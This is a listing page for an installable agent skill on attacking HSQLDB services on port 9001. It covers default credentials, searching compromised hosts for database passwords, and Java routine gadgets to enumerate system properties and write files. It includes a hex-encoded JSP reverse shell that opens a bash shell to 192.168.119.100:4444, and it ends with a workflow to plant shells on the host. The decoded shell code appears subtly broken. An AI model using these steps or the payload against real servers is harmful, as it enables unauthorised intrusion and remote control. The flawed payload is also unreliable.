# Hsqldb Pentesting

> How to pentest HSQLDB (HyperSQL Database) services on port 9001. Use this skill whenever the user mentions HSQLDB, port 9001, Java database exploitation, JDBC attacks, or needs to interact with HSQLDB during security assessments. This skill covers connection methods, default credentials, Java Language Routines for system property enumeration, and file writing techniques for reverse shells.

- Skill: `abelrguezr/hsqldb-pentesting` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/hsqldb-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/hsqldb-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/hsqldb-pentesting

---


# HSQLDB Pentesting

HSQLDB (HyperSQL Database) is a Java-based SQL relational database system. It's commonly found on port 9001 and can be exploited for information gathering and code execution.

## Quick Reference

| Aspect | Details |
|--------|--------|
| **Default Port** | 9001/tcp |
| **Default Credentials** | `sa` / blank password |
| **Connection URL** | `jdbc:hsqldb:hsql://<ip>/<DBNAME>` |
| **Service Banner** | `HSQLDB JDBC (Network Compatibility Version X.X.X.X)` |

## Connection Methods

### 1. Using HSQLDB GUI Tool

Download HSQLDB from [SourceForge](https://sourceforge.net/projects/hsqldb/files/) and extract `hsqldb/lib/hsqldb.jar`.

```bash
java -jar hsqldb.jar
```

Connect using the discovered credentials and connection URL.

### 2. Finding Credentials in Files

If you've already compromised another service, search for HSQLDB credentials:

```bash
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```

**Important**: Note the database name carefully - you'll need it to construct the connection URL.

## Java Language Routines (JRTs)

HSQLDB allows calling static Java methods through Java Language Routines. The called class must be in the application's classpath.

### Reading System Properties

Create a function to read Java system properties:

```sql
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```

Execute to enumerate system information:

```sql
VALUES(getsystemproperty('user.name'))
VALUES(getsystemproperty('user.home'))
VALUES(getsystemproperty('os.name'))
VALUES(getsystemproperty('os.version'))
VALUES(getsystemproperty('java.home'))
```

**Common properties to enumerate:**
- `user.name` - Current user
- `user.home` - User home directory
- `os.name` / `os.version` - Operating system details
- `java.home` - Java installation path
- `user.dir` - Current working directory
- `java.class.path` - Classpath information

See [Oracle's system properties documentation](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html) for the full list.

### Writing Files to Disk

Use the `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` gadget to write hex-encoded content to disk.

**Limitation**: Maximum 1024 bytes per write.

Create the procedure:

```sql
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```

Execute to write a file:

```sql
CALL writetofile('/path/to/file.jsp', CAST('hex_encoded_content' AS VARBINARY(1024)))
```

### Reverse Shell Example

For a JSP reverse shell, hex-encode your payload and write it:

```sql
CALL writetofile('/ROOT/shell.jsp', CAST('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392e3130302f34343434223b0a20202050726f636573732070203d2052756e74696d652e67657452756e74696d6528292e6578656328636d64293b0a202020496e70757453747265616d206973203d20702e676574496e70757453747265616d28293b0a2020204f757470757453747265616d206f73203d20702e6765744f757470757453747265616d28293b0a202020536f636b657420736f636b6574203d206e657720536f636b657428223139322e3136382e3131392e313030222c2034343434293b0a202020496e70757453747265616d2073696e203d20736f636b65742e676574496e70757453747265616d28293b0a2020204f757470757453747265616d20736f7574203d20736f636b65742e6765744f757470757453747265616d28293b0a2020204e657720746872656164286e65772052756e6e61626c6528297b7075626c696320766f69642072756e28297b7472797b7768696c652874727565297b73696e2e72656164286f73293b736f75742e7772697465286973293b7d636174636828457863657074696f6e2065297b7d7d7d292e737461727428293b7d292e737461727428293b0a253e' AS VARBINARY(1024)))
```

## Workflow Summary

1. **Identify**: Look for port 9001/tcp with HSQLDB banner
2. **Connect**: Use HSQLDB GUI or JDBC client with discovered credentials
3. **Enumerate**: Use `getsystemproperty()` to gather system information
4. **Exploit**: Use `writetofile()` to write reverse shells or other payloads
5. **Access**: Access written files via web server or execute directly

## Notes

- HSQLDB is often running in-memory or bound to localhost by default
- Finding it usually means you've already exploited another service
- The 1024-byte limit on file writes may require chunking larger payloads
- All Java classes in the application's classpath are potentially callable
- This technique works because HSQLDB runs with the same privileges as the application hosting it

